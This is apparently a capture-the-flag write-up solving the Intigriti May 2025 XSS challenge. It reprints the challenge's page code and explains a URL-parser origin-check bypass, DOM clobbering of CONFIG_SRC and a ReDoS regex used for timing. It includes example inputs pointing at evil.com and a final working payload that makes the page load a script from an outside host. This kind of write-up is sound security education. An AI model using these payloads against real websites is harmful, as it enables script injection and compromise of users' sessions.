The solution:
- Should pop
alert
; - Should not be
self-XSS
or related toMiTM
attacks; - Should leverage a cross site scripting vulnerability on this
domain
; - Not allowed to use a previous
XSS
challenge in order to solve this one; - Should work on the latest version of
FireFox
andChromium
(notSafari
).
This web challenge
allows us to use a name
:
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Intigriti May 2025 Challenge</title>
<script src="./3.2.5-purify.min.js"></script>
</head>
<body>
<div class="challenge-container" id="challenge-container">
<h1>What is your name?</h1>
<form method="GET" action="index.html">
<input type="text" name="name" placeholder="Enter your name" required><br>
<input type="submit" value="Submit">
</form>
<div id="message"></div>
</div>
<script src="script.js"></script>
</body>
</html>
<script>
// script.js
function safeURL(url) {
let normalizedURL = new URL(url, location)
return normalizedURL.origin === location.origin
}
function addDynamicScript() {
const src = window.CONFIG_SRC?.dataset["url"] || location.origin + "/confetti.js"
if (safeURL(src)) {
const script = document.createElement("script");
script.src = new URL(src);
document.head.appendChild(script);
}
}
(function() {
const params = new URLSearchParams(window.location.search);
const name = params.get("name");
if (name && name.match(/([a-zA-Z0-9]+|\s)+$/)) {
const messageDiv = document.getElementById("message");
const spinner = document.createElement("div");
spinner.classList.add("spinner");
messageDiv.appendChild(spinner);
fetch(`/message?name=${encodeURIComponent(name)}`).then(response => response.text()).then(data => {
spinner.remove(); messageDiv.innerHTML = DOMPurify.sanitize(data);
}).catch(err => {
spinner.remove();
messageDiv.innerHTML = "Error fetching message.";
console.error("Error fetching message:", err);
});
} else if(name) {
const messageDiv = document.getElementById("message");
messageDiv.innerHTML = "Error when parsing name";
}
requestIdleCallback(addDynamicScript);
})();
// style.js (defer)
document.addEventListener("DOMContentLoaded", (event) => {
document.getElementById("writeupInfo").addEventListener("click", function (event) {
event.preventDefault();
document.getElementById("challenge-text").style.display = "none";
document.getElementById("writeup-text").style.display = "block";
});
document.getElementById("backLink").addEventListener("click", function (event) {
event.preventDefault();
document.getElementById("writeup-text").style.display = "none";
document.getElementById("challenge-text").style.display = "block";
});
});
// const observer = new MutationObserver(callback);
// observer.observe(targetNode, config);
// $name = $_POST["name"];
</script>
We quickly find glaring problems in the challenge on Express
:
Vulnerable Code |
Explanation |
Example |
---|---|---|
function safeURL(url) |
The code creates a new URL object from the provided url, using the current location as the base. It then checks if the origin of the constructed URL matches the current page's origin. When parsing URLs confusion can arise due to inconsistencies between different URL parsers and their handling of non-standard or malformed URLs. |
https:evil.com |
function addDynamicScript() |
DOM clobbering occurs when an attacker injects elements with specific id or name attributes into the DOM, which can overwrite or "clobber" global variables or properties, leading to unexpected behavior or security issues. "window.CONFIG_SRC" is expected to be a DOM element. If an attacker injects an element with id="CONFIG_SRC", window.CONFIG_SRC will refer to that element-even if the developer never defined it. The attacker can then control dataset["url"], making src point to a malicious script. |
<div id="CONFIG_SRC" data-url="https://evil.com/evil.js"></div> |
(name && name.match(/([a-zA-Z0-9]+%7C\s)+$/)) |
ReDoS (Regular Expression Denial of Service) is a vulnerability where an attacker provides specially crafted input that causes a regular expression to take an extremely long time to evaluate, potentially freezing or crashing the application. This regex is vulnerable to catastrophic backtracking . |
00000000000000000000000000%00 |
All that is left is to put these tricks together to make a valid uncached payload
running on Chromium
and FireFox
browsers.
Since any iframe share the same original thread, we can load the previously found ReDos
to delay the main thread in order to inject our code before the requestIdleCallback
execution, while clobbering
to our domain
as bypassing the origin check.
<body/onload="
(f=>[f,...Array(5).fill('0'.repeat(26)+'!'),f])('<p/data-url=https:nj.rs id=CONFIG_SRC>a').forEach(p=>{
with(document)body.appendChild(createElement('iframe')).src=`//challenge-0525.intigriti.io/index.html?name=${p}`
})"</body>
There are surely other delaying possibilities as well as unintended clobbering to look for but we have already achieved the main part.